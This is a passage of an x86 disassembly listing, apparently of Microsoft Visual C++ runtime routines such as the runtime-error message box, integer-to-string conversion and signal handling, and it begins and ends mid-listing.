		mov	edx, [ebp+var_50]
		mov	[edx+4], cl


loc_43245D:				; CODE XREF: sub_432170+2CEj
					; sub_432170+2DCj
		jmp	short loc_43246E
; ---------------------------------------------------------------------------


loc_43245F:				; CODE XREF: sub_432170+295j
					; sub_432170+2A8j
		mov	eax, [ebp+var_50]
		mov	cl, [eax+4]
		or	cl, 40h
		mov	edx, [ebp+var_50]
		mov	[edx+4], cl


loc_43246E:				; CODE XREF: sub_432170:loc_43245Dj
		jmp	short loc_43247F
; ---------------------------------------------------------------------------


loc_432470:				; CODE XREF: sub_432170+258j
		mov	eax, [ebp+var_50]
		mov	cl, [eax+4]
		or	cl, 80h
		mov	edx, [ebp+var_50]
		mov	[edx+4], cl


loc_43247F:				; CODE XREF: sub_432170:loc_43246Ej
		jmp	loc_43239E
; ---------------------------------------------------------------------------


loc_432484:				; CODE XREF: sub_432170+23Bj
		mov	eax, dword_4E96A0
		push	eax
		nop
		call	near ptr 27903BEh
		mov	esp, ebp
		pop	ebp
		retn
sub_432170	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	dword ptr [ebp-8], 0
		jmp	short loc_4324B8
; ---------------------------------------------------------------------------


loc_4324AF:				; CODE XREF: .XComp0:loc_432532j
		mov	eax, [ebp-8]
		add	eax, 1
		mov	[ebp-8], eax


loc_4324B8:				; CODE XREF: .XComp0:004324ADj
		cmp	dword ptr [ebp-8], 40h
		jge	short loc_432537
		mov	ecx, [ebp-8]
		cmp	dword_4E95A0[ecx*4], 0
		jz	short loc_432532
		mov	edx, [ebp-8]
		mov	eax, dword_4E95A0[edx*4]
		mov	[ebp-4], eax
		jmp	short loc_4324E3
; ---------------------------------------------------------------------------


loc_4324DA:				; CODE XREF: .XComp0:loc_43250Dj
		mov	ecx, [ebp-4]
		add	ecx, 24h
		mov	[ebp-4], ecx


loc_4324E3:				; CODE XREF: .XComp0:004324D8j
		mov	edx, [ebp-8]
		mov	eax, dword_4E95A0[edx*4]
		add	eax, 480h
		cmp	[ebp-4], eax
		jnb	short loc_43250F
		mov	ecx, [ebp-4]
		cmp	dword ptr [ecx+8], 0
		jz	short loc_43250D
		mov	edx, [ebp-4]
		add	edx, 0Ch
		push	edx
		call	near ptr 2840000h
		nop


loc_43250D:				; CODE XREF: .XComp0:004324FEj
		jmp	short loc_4324DA
; ---------------------------------------------------------------------------


loc_43250F:				; CODE XREF: .XComp0:004324F5j
		push	2
		mov	eax, [ebp-8]
		mov	ecx, dword_4E95A0[eax*4]
		push	ecx
		call	sub_41F970
		add	esp, 8
		mov	edx, [ebp-8]
		mov	dword_4E95A0[edx*4], 0


loc_432532:				; CODE XREF: .XComp0:004324C9j
		jmp	loc_4324AF
; ---------------------------------------------------------------------------


loc_432537:				; CODE XREF: .XComp0:004324BCj
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_432540	proc near		; CODE XREF: sub_424980+Cp
					; sub_4249B0+Cp
		push	ebp
		mov	ebp, esp
		cmp	dword_4E924C, 1
		jz	short loc_43255E
		cmp	dword_4E924C, 0
		jnz	short loc_432587
		cmp	dword_44FF44, 1
		jnz	short loc_432587


loc_43255E:				; CODE XREF: sub_432540+Aj
		push	0FCh
		call	sub_432590
		add	esp, 4
		cmp	dword_4E9408, 0
		jz	short loc_43257A
		call	dword_4E9408


loc_43257A:				; CODE XREF: sub_432540+32j
		push	0FFh
		call	sub_432590
		add	esp, 4


loc_432587:				; CODE XREF: sub_432540+13j
					; sub_432540+1Cj
		pop	ebp
		retn
sub_432540	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_432590	proc near		; CODE XREF: sub_424980+15p
					; sub_4249B0+15p ...

var_1B0		= byte ptr -1B0h
var_110		= byte ptr -110h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1B0h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_8], 0
		jmp	short loc_4325AE
; ---------------------------------------------------------------------------


loc_4325A5:				; CODE XREF: sub_432590:loc_4325C5j
		mov	eax, [ebp+var_8]
		add	eax, 1
		mov	[ebp+var_8], eax


loc_4325AE:				; CODE XREF: sub_432590+13j
		cmp	[ebp+var_8], 12h
		jnb	short loc_4325C7
		mov	ecx, [ebp+var_8]
		mov	edx, [ebp+arg_0]
		cmp	edx, dword_452AC8[ecx*8]
		jnz	short loc_4325C5
		jmp	short loc_4325C7
; ---------------------------------------------------------------------------


loc_4325C5:				; CODE XREF: sub_432590+31j
		jmp	short loc_4325A5
; ---------------------------------------------------------------------------


loc_4325C7:				; CODE XREF: sub_432590+22j
					; sub_432590+33j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+arg_0]
		cmp	ecx, dword_452AC8[eax*8]
		jnz	loc_432748
		cmp	[ebp+arg_0], 0FCh
		jz	short loc_432604
		mov	edx, [ebp+var_8]
		mov	eax, off_452ACC[edx*8]
		push	eax
		push	0
		push	0
		push	0
		push	1
		call	sub_424D20
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_432604
		int	3		; Trap to Debugger


loc_432604:				; CODE XREF: sub_432590+51j
					; sub_432590+71j
		cmp	dword_4E924C, 1
		jz	short loc_43261F
		cmp	dword_4E924C, 0
		jnz	short loc_432658
		cmp	dword_44FF44, 1
		jnz	short loc_432658


loc_43261F:				; CODE XREF: sub_432590+7Bj
		push	0
		lea	ecx, [ebp+var_4]
		push	ecx
		mov	edx, [ebp+var_8]
		mov	eax, off_452ACC[edx*8]
		push	eax
		call	sub_41EBD0
		add	esp, 4
		push	eax
		mov	ecx, [ebp+var_8]
		mov	edx, off_452ACC[ecx*8]
		push	edx
		push	0FFFFFFF4h
		call	near ptr 2960BBFh
		nop
		push	eax
		nop
		call	near ptr 28407DDh
		jmp	loc_432748
; ---------------------------------------------------------------------------


loc_432658:				; CODE XREF: sub_432590+84j
					; sub_432590+8Dj
		cmp	[ebp+arg_0], 0FCh
		jz	loc_432748
		push	104h
		lea	eax, [ebp+var_110]
		push	eax
		push	0
		nop
		call	near ptr 27A0000h
		test	eax, eax
		jnz	short loc_432691
		push	offset aProgramNameUnk ; "<program name	unknown>"
		lea	ecx, [ebp+var_110]
		push	ecx
		call	sub_422580
		add	esp, 8


loc_432691:				; CODE XREF: sub_432590+EBj
		lea	edx, [ebp+var_110]
		mov	[ebp+var_C], edx
		mov	eax, [ebp+var_C]
		push	eax
		call	sub_41EBD0
		add	esp, 4
		add	eax, 1
		cmp	eax, 3Ch
		jbe	short loc_4326DA
		lea	ecx, [ebp+var_110]
		push	ecx
		call	sub_41EBD0
		add	esp, 4
		mov	edx, [ebp+var_C]
		lea	eax, [edx+eax-3Bh]
		mov	[ebp+var_C], eax
		push	3
		push	offset a___	; "..."
		mov	ecx, [ebp+var_C]
		push	ecx
		call	sub_421470
		add	esp, 0Ch


loc_4326DA:				; CODE XREF: sub_432590+11Cj
		push	offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: "
		lea	edx, [ebp+var_1B0]
		push	edx
		call	sub_422580
		add	esp, 8
		mov	eax, [ebp+var_C]
		push	eax
		lea	ecx, [ebp+var_1B0]
		push	ecx
		call	sub_422590
		add	esp, 8
		push	offset asc_43EEE8 ; "\n\n"
		lea	edx, [ebp+var_1B0]
		push	edx
		call	sub_422590
		add	esp, 8
		mov	eax, [ebp+var_8]
		mov	ecx, off_452ACC[eax*8]
		push	ecx
		lea	edx, [ebp+var_1B0]
		push	edx
		call	sub_422590
		add	esp, 8
		push	12010h
		push	offset aMicrosoftVis_0 ; "Microsoft Visual C++ Runtime Library"
		lea	eax, [ebp+var_1B0]
		push	eax
		call	sub_433100
		add	esp, 0Ch


loc_432748:				; CODE XREF: sub_432590+44j
					; sub_432590+C3j ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_432590	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	dword ptr [ebp-4], 0
		jmp	short loc_432766
; ---------------------------------------------------------------------------


loc_43275D:				; CODE XREF: .XComp0:loc_43277Dj
		mov	eax, [ebp-4]
		add	eax, 1
		mov	[ebp-4], eax


loc_432766:				; CODE XREF: .XComp0:0043275Bj
		cmp	dword ptr [ebp-4], 12h
		jnb	short loc_43277F
		mov	ecx, [ebp-4]
		mov	edx, [ebp+8]
		cmp	edx, dword_452AC8[ecx*8]
		jnz	short loc_43277D
		jmp	short loc_43277F
; ---------------------------------------------------------------------------


loc_43277D:				; CODE XREF: .XComp0:00432779j
		jmp	short loc_43275D
; ---------------------------------------------------------------------------


loc_43277F:				; CODE XREF: .XComp0:0043276Aj
					; .XComp0:0043277Bj
		mov	eax, [ebp-4]
		mov	ecx, [ebp+8]
		cmp	ecx, dword_452AC8[eax*8]
		jnz	short loc_43279A
		mov	edx, [ebp-4]
		mov	eax, off_452ACC[edx*8]
		jmp	short loc_43279C
; ---------------------------------------------------------------------------


loc_43279A:				; CODE XREF: .XComp0:0043278Cj
		xor	eax, eax


loc_43279C:				; CODE XREF: .XComp0:00432798j
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4327A0	proc near		; CODE XREF: sub_424B10+13p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	[ebp+var_4], 0
		push	2
		call	sub_425990
		add	esp, 4
		mov	[ebp+var_8], 3
		jmp	short loc_4327C9
; ---------------------------------------------------------------------------


loc_4327C0:				; CODE XREF: sub_4327A0:loc_432864j
		mov	eax, [ebp+var_8]
		add	eax, 1
		mov	[ebp+var_8], eax


loc_4327C9:				; CODE XREF: sub_4327A0+1Ej
		mov	ecx, [ebp+var_8]
		cmp	ecx, dword_4EA900
		jge	loc_432869
		mov	edx, [ebp+var_8]
		mov	eax, dword_4E98F4
		cmp	dword ptr [eax+edx*4], 0
		jz	short loc_432864
		mov	ecx, [ebp+var_8]
		mov	edx, dword_4E98F4
		mov	eax, [edx+ecx*4]
		mov	ecx, [eax+0Ch]
		and	ecx, 83h
		test	ecx, ecx
		jz	short loc_432821
		mov	edx, [ebp+var_8]
		mov	eax, dword_4E98F4
		mov	ecx, [eax+edx*4]
		push	ecx
		call	sub_41EC50
		add	esp, 4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_432821
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx


loc_432821:				; CODE XREF: sub_4327A0+5Dj
					; sub_4327A0+76j
		cmp	[ebp+var_8], 14h
		jl	short loc_432864
		mov	eax, [ebp+var_8]
		mov	ecx, dword_4E98F4
		mov	edx, [ecx+eax*4]
		add	edx, 20h
		push	edx
		call	near ptr 2840000h
		nop
		push	2
		mov	eax, [ebp+var_8]
		mov	ecx, dword_4E98F4
		mov	edx, [ecx+eax*4]
		push	edx
		call	sub_41F970
		add	esp, 8
		mov	eax, [ebp+var_8]
		mov	ecx, dword_4E98F4
		mov	dword ptr [ecx+eax*4], 0


loc_432864:				; CODE XREF: sub_4327A0+44j
					; sub_4327A0+85j
		jmp	loc_4327C0
; ---------------------------------------------------------------------------


loc_432869:				; CODE XREF: sub_4327A0+32j
		push	2
		call	sub_425A30
		add	esp, 4
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_4327A0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_432880	proc near		; CODE XREF: sub_424D20+31Dp
					; sub_436FC0+1EFp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 0Ah
		jnz	short loc_4328A7
		cmp	[ebp+arg_0], 0
		jge	short loc_4328A7
		push	1
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_4328D0
		add	esp, 10h
		jmp	short loc_4328BD
; ---------------------------------------------------------------------------


loc_4328A7:				; CODE XREF: sub_432880+7j
					; sub_432880+Dj
		push	0
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_4328D0
		add	esp, 10h


loc_4328BD:				; CODE XREF: sub_432880+25j
		mov	eax, [ebp+arg_4]
		pop	ebp
		retn
sub_432880	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4328D0	proc near		; CODE XREF: sub_432880+1Dp
					; sub_432880+35p ...

var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		cmp	[ebp+arg_C], 0
		jz	short loc_4328F9
		mov	ecx, [ebp+var_4]
		mov	byte ptr [ecx],	2Dh
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx
		mov	eax, [ebp+arg_0]
		neg	eax
		mov	[ebp+arg_0], eax


loc_4328F9:				; CODE XREF: sub_4328D0+10j
		mov	ecx, [ebp+var_4]
		mov	[ebp+var_8], ecx


loc_4328FF:				; CODE XREF: sub_4328D0+79j
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		div	[ebp+arg_8]
		mov	[ebp+var_C], edx
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		div	[ebp+arg_8]
		mov	[ebp+arg_0], eax
		cmp	[ebp+var_C], 9
		jbe	short loc_432931
		mov	edx, [ebp+var_C]
		add	edx, 57h
		mov	eax, [ebp+var_4]
		mov	[eax], dl
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx
		jmp	short loc_432945
; ---------------------------------------------------------------------------


loc_432931:				; CODE XREF: sub_4328D0+49j
		mov	edx, [ebp+var_C]
		add	edx, 30h
		mov	eax, [ebp+var_4]
		mov	[eax], dl
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx


loc_432945:				; CODE XREF: sub_4328D0+5Fj
		cmp	[ebp+arg_0], 0
		ja	short loc_4328FF
		mov	edx, [ebp+var_4]
		mov	byte ptr [edx],	0
		mov	eax, [ebp+var_4]
		sub	eax, 1
		mov	[ebp+var_4], eax


loc_43295A:				; CODE XREF: sub_4328D0+BCj
		mov	ecx, [ebp+var_4]
		mov	dl, [ecx]
		mov	[ebp+var_10], dl
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_8]
		mov	dl, [ecx]
		mov	[eax], dl
		mov	eax, [ebp+var_8]
		mov	cl, [ebp+var_10]
		mov	[eax], cl
		mov	edx, [ebp+var_4]
		sub	edx, 1
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_8]
		add	eax, 1
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+var_8]
		cmp	ecx, [ebp+var_4]
		jb	short loc_43295A
		mov	esp, ebp
		pop	ebp
		retn
sub_4328D0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword ptr [ebp+10h], 0Ah
		jnz	short loc_4329B9
		cmp	dword ptr [ebp+8], 0
		jge	short loc_4329B9
		mov	dword ptr [ebp-4], 1
		jmp	short loc_4329C0
; ---------------------------------------------------------------------------


loc_4329B9:				; CODE XREF: .XComp0:004329A8j
					; .XComp0:004329AEj
		mov	dword ptr [ebp-4], 0


loc_4329C0:				; CODE XREF: .XComp0:004329B7j
		mov	eax, [ebp-4]
		push	eax
		mov	ecx, [ebp+10h]
		push	ecx
		mov	edx, [ebp+0Ch]
		push	edx
		mov	eax, [ebp+8]
		push	eax
		call	sub_4328D0
		add	esp, 10h
		mov	eax, [ebp+0Ch]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	0
		mov	eax, [ebp+10h]
		push	eax
		mov	ecx, [ebp+0Ch]
		push	ecx
		mov	edx, [ebp+8]
		push	edx
		call	sub_4328D0
		add	esp, 10h
		mov	eax, [ebp+0Ch]
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword ptr [ebp+14h], 0Ah
		jnz	short loc_432A21
		cmp	dword ptr [ebp+0Ch], 0
		jg	short loc_432A21
		jl	short loc_432A18
		cmp	dword ptr [ebp+8], 0
		jnb	short loc_432A21


loc_432A18:				; CODE XREF: .XComp0:00432A10j
		mov	dword ptr [ebp-4], 1
		jmp	short loc_432A28
; ---------------------------------------------------------------------------


loc_432A21:				; CODE XREF: .XComp0:00432A08j
					; .XComp0:00432A0Ej ...
		mov	dword ptr [ebp-4], 0


loc_432A28:				; CODE XREF: .XComp0:00432A1Fj
		mov	eax, [ebp-4]
		push	eax
		mov	ecx, [ebp+14h]
		push	ecx
		mov	edx, [ebp+10h]
		push	edx
		mov	eax, [ebp+0Ch]
		push	eax
		mov	ecx, [ebp+8]
		push	ecx
		call	sub_432A50
		mov	eax, [ebp+10h]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_432A50	proc near		; CODE XREF: .XComp0:00432A3Cp
					; .XComp0:00432B65p

var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		cmp	[ebp+arg_10], 0
		jz	short loc_432A84
		mov	ecx, [ebp+var_4]
		mov	byte ptr [ecx],	2Dh
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx
		mov	eax, [ebp+arg_0]
		neg	eax
		mov	ecx, [ebp+arg_4]
		adc	ecx, 0
		neg	ecx
		mov	[ebp+arg_0], eax
		mov	[ebp+arg_4], ecx


loc_432A84:				; CODE XREF: sub_432A50+10j
		mov	edx, [ebp+var_4]
		mov	[ebp+var_8], edx


loc_432A8A:				; CODE XREF: sub_432A50+9Fj
					; sub_432A50+A7j
		mov	eax, [ebp+arg_C]
		xor	ecx, ecx
		push	ecx
		push	eax
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_4241B0
		mov	[ebp+var_C], eax
		mov	ecx, [ebp+arg_C]
		xor	edx, edx
		push	edx
		push	ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_424140
		mov	[ebp+arg_0], eax
		mov	[ebp+arg_4], edx
		cmp	[ebp+var_C], 9
		jbe	short loc_432AD7
		mov	edx, [ebp+var_C]
		add	edx, 57h
		mov	eax, [ebp+var_4]
		mov	[eax], dl
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx
		jmp	short loc_432AEB
; ---------------------------------------------------------------------------


loc_432AD7:				; CODE XREF: sub_432A50+6Fj
		mov	edx, [ebp+var_C]
		add	edx, 30h
		mov	eax, [ebp+var_4]
		mov	[eax], dl
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx


loc_432AEB:				; CODE XREF: sub_432A50+85j
		cmp	[ebp+arg_4], 0
		ja	short loc_432A8A
		jb	short loc_432AF9
		cmp	[ebp+arg_0], 0
		ja	short loc_432A8A


loc_432AF9:				; CODE XREF: sub_432A50+A1j
		mov	edx, [ebp+var_4]
		mov	byte ptr [edx],	0
		mov	eax, [ebp+var_4]
		sub	eax, 1
		mov	[ebp+var_4], eax


loc_432B08:				; CODE XREF: sub_432A50+EAj
		mov	ecx, [ebp+var_4]
		mov	dl, [ecx]
		mov	[ebp+var_10], dl
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_8]
		mov	dl, [ecx]
		mov	[eax], dl
		mov	eax, [ebp+var_8]
		mov	cl, [ebp+var_10]
		mov	[eax], cl
		mov	edx, [ebp+var_4]
		sub	edx, 1
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_8]
		add	eax, 1
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+var_8]
		cmp	ecx, [ebp+var_4]
		jb	short loc_432B08
		mov	esp, ebp
		pop	ebp
		retn	14h
sub_432A50	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	0
		mov	eax, [ebp+14h]
		push	eax
		mov	ecx, [ebp+10h]
		push	ecx
		mov	edx, [ebp+0Ch]
		push	edx
		mov	eax, [ebp+8]
		push	eax
		call	sub_432A50
		mov	eax, [ebp+10h]
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		cmp	dword ptr [ebp+0Ch], 4
		jz	short loc_432B83
		cmp	dword ptr [ebp+0Ch], 3
		jnz	short loc_432B88


loc_432B83:				; CODE XREF: .XComp0:00432B7Bj
		jmp	loc_432D58
; ---------------------------------------------------------------------------


loc_432B88:				; CODE XREF: .XComp0:00432B81j
		cmp	dword ptr [ebp+8], 2
		jz	short loc_432BA4
		cmp	dword ptr [ebp+8], 15h
		jz	short loc_432BA4
		cmp	dword ptr [ebp+8], 16h
		jz	short loc_432BA4
		cmp	dword ptr [ebp+8], 0Fh
		jnz	loc_432C81


loc_432BA4:				; CODE XREF: .XComp0:00432B8Cj
					; .XComp0:00432B92j ...
		push	1
		call	sub_425990
		add	esp, 4
		cmp	dword ptr [ebp+8], 2
		jz	short loc_432BBA
		cmp	dword ptr [ebp+8], 15h
		jnz	short loc_432BFF


loc_432BBA:				; CODE XREF: .XComp0:00432BB2j
		cmp	dword_4E941C, 0
		jnz	short loc_432BFF
		push	1
		push	offset sub_432DA0
		nop
		call	near ptr 278099Eh
		cmp	eax, 1
		jnz	short loc_432BE1
		mov	dword_4E941C, 1
		jmp	short loc_432BFF
; ---------------------------------------------------------------------------


loc_432BE1:				; CODE XREF: .XComp0:00432BD3j
		nop
		call	near ptr 27B0F7Fh
		mov	esi, eax
		call	sub_42C1F0
		mov	[eax], esi
		push	1
		call	sub_425A30
		add	esp, 4
		jmp	loc_432D58
; ---------------------------------------------------------------------------


loc_432BFF:				; CODE XREF: .XComp0:00432BB8j
					; .XComp0:00432BC1j ...
		mov	eax, [ebp+8]
		mov	[ebp-10h], eax
		mov	ecx, [ebp-10h]
		sub	ecx, 2
		mov	[ebp-10h], ecx
		cmp	dword ptr [ebp-10h], 14h
		ja	short loc_432C72
		mov	eax, [ebp-10h]
		xor	edx, edx
		mov	dl, byte_432D7F[eax]
		jmp	off_432D6B[edx*4]


loc_432C26:				; DATA XREF: .XComp0:off_432D6Bo
		mov	ecx, dword_4E940C
		mov	[ebp-0Ch], ecx
		mov	edx, [ebp+0Ch]
		mov	dword_4E940C, edx
		jmp	short loc_432C72
; ---------------------------------------------------------------------------


loc_432C3A:				; CODE XREF: .XComp0:00432C1Fj
					; DATA XREF: .XComp0:00432D73o
		mov	eax, dword_4E9410
		mov	[ebp-0Ch], eax
		mov	ecx, [ebp+0Ch]
		mov	dword_4E9410, ecx
		jmp	short loc_432C72
; ---------------------------------------------------------------------------


loc_432C4D:				; CODE XREF: .XComp0:00432C1Fj
					; DATA XREF: .XComp0:00432D77o
		mov	edx, dword_4E9414
		mov	[ebp-0Ch], edx
		mov	eax, [ebp+0Ch]
		mov	dword_4E9414, eax
		jmp	short loc_432C72
; ---------------------------------------------------------------------------


loc_432C60:				; CODE XREF: .XComp0:00432C1Fj
					; DATA XREF: .XComp0:00432D6Fo
		mov	ecx, dword_4E9418
		mov	[ebp-0Ch], ecx
		mov	edx, [ebp+0Ch]
		mov	dword_4E9418, edx


loc_432C72:				; CODE XREF: .XComp0:00432C12j
					; .XComp0:00432C1Fj ...
		push	1
		call	sub_425A30
		add	esp, 4
		jmp	loc_432D53
; ---------------------------------------------------------------------------


loc_432C81:				; CODE XREF: .XComp0:00432B9Ej
		cmp	dword ptr [ebp+8], 8
		jz	short loc_432C98
		cmp	dword ptr [ebp+8], 4
		jz	short loc_432C98
		cmp	dword ptr [ebp+8], 0Bh
		jz	short loc_432C98
		jmp	loc_432D58
; ---------------------------------------------------------------------------


loc_432C98:				; CODE XREF: .XComp0:00432C85j
					; .XComp0:00432C8Bj ...
		call	sub_42B630
		mov	[ebp-4], eax
		mov	eax, [ebp-4]
		cmp	dword ptr [eax+50h], offset dword_452A18
		jnz	short loc_432CF5
		push	133h
		push	offset aWinsig_c ; "winsig.c"
		push	2
		mov	ecx, dword_452A98
		push	ecx
		call	sub_41EDD0
		add	esp, 10h
		mov	edx, [ebp-4]
		mov	[edx+50h], eax
		mov	eax, [ebp-4]
		cmp	dword ptr [eax+50h], 0
		jz	short loc_432CF3
		mov	ecx, dword_452A98
		push	ecx
		push	offset dword_452A18
		mov	edx, [ebp-4]
		mov	eax, [edx+50h]
		push	eax
		call	sub_422B50
		add	esp, 0Ch
		jmp	short loc_432CF5
; ---------------------------------------------------------------------------


loc_432CF3:				; CODE XREF: .XComp0:00432CD4j
		jmp	short loc_432D58
; ---------------------------------------------------------------------------


loc_432CF5:				; CODE XREF: .XComp0:00432CAAj
					; .XComp0:00432CF1j
		mov	ecx, [ebp-4]
		mov	edx, [ecx+50h]
		push	edx
		mov	eax, [ebp+8]
		push	eax
		call	sub_433080
		add	esp, 8
		mov	[ebp-8], eax
		cmp	dword ptr [ebp-8], 0
		jnz	short loc_432D13
		jmp	short loc_432D58
; ---------------------------------------------------------------------------


loc_432D13:				; CODE XREF: .XComp0:00432D0Fj
		mov	ecx, [ebp-8]
		mov	edx, [ecx+8]
		mov	[ebp-0Ch], edx


loc_432D1C:				; CODE XREF: .XComp0:loc_432D51j
		mov	eax, [ebp-8]
		mov	ecx, [eax+4]
		cmp	ecx, [ebp+8]
		jnz	short loc_432D53
		mov	edx, [ebp-8]
		mov	eax, [ebp+0Ch]
		mov	[edx+8], eax
		mov	ecx, [ebp-8]
		add	ecx, 0Ch
		mov	[ebp-8], ecx
		mov	edx, dword_452A9C
		imul	edx, 0Ch
		mov	eax, [ebp-4]
		mov	ecx, [eax+50h]
		add	ecx, edx
		cmp	[ebp-8], ecx
		jb	short loc_432D51
		jmp	short loc_432D53
; ---------------------------------------------------------------------------


loc_432D51:				; CODE XREF: .XComp0:00432D4Dj
		jmp	short loc_432D1C
; ---------------------------------------------------------------------------


loc_432D53:				; CODE XREF: .XComp0:00432C7Cj
					; .XComp0:00432D25j ...
		mov	eax, [ebp-0Ch]
		jmp	short loc_432D66
; ---------------------------------------------------------------------------


loc_432D58:				; CODE XREF: .XComp0:loc_432B83j
					; .XComp0:00432BFAj ...
		call	sub_42C1E0
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh


loc_432D66:				; CODE XREF: .XComp0:00432D56j
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
off_432D6B	dd offset loc_432C26	; DATA XREF: .XComp0:00432C1Fr
		dd offset loc_432C60
		dd offset loc_432C3A
		dd offset loc_432C4D
		dd offset loc_432C72
byte_432D7F	db 0			; DATA XREF: .XComp0:00432C19r
		dd 3 dup(4040404h), 4040401h, 3020404h,	3 dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_432DA0	proc near		; DATA XREF: .XComp0:00432BC5o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	1
		call	sub_425990
		add	esp, 4
		cmp	[ebp+arg_0], 0
		jnz	short loc_432DCE
		mov	[ebp+var_8], offset dword_4E940C
		mov	eax, [ebp+var_8]
		mov	ecx, [eax]
		mov	[ebp+var_C], ecx
		mov	[ebp+var_4], 2
		jmp	short loc_432DE4
; ---------------------------------------------------------------------------


loc_432DCE:				; CODE XREF: sub_432DA0+14j
		mov	[ebp+var_8], offset dword_4E9410
		mov	edx, [ebp+var_8]
		mov	eax, [edx]
		mov	[ebp+var_C], eax
		mov	[ebp+var_4], 15h


loc_432DE4:				; CODE XREF: sub_432DA0+2Cj
		cmp	[ebp+var_C], 0
		jnz	short loc_432DF8
		push	1
		call	sub_425A30
		add	esp, 4
		xor	eax, eax
		jmp	short loc_432E2C
; ---------------------------------------------------------------------------


loc_432DF8:				; CODE XREF: sub_432DA0+48j
		cmp	[ebp+var_C], 1
		jz	short loc_432E1D
		mov	ecx, [ebp+var_8]
		mov	dword ptr [ecx], 0
		push	1
		call	sub_425A30
		add	esp, 4
		mov	edx, [ebp+var_4]
		push	edx
		call	[ebp+var_C]
		add	esp, 4
		jmp	short loc_432E27
; ---------------------------------------------------------------------------


loc_432E1D:				; CODE XREF: sub_432DA0+5Cj
		push	1
		call	sub_425A30
		add	esp, 4


loc_432E27:				; CODE XREF: sub_432DA0+7Bj
		mov	eax, 1


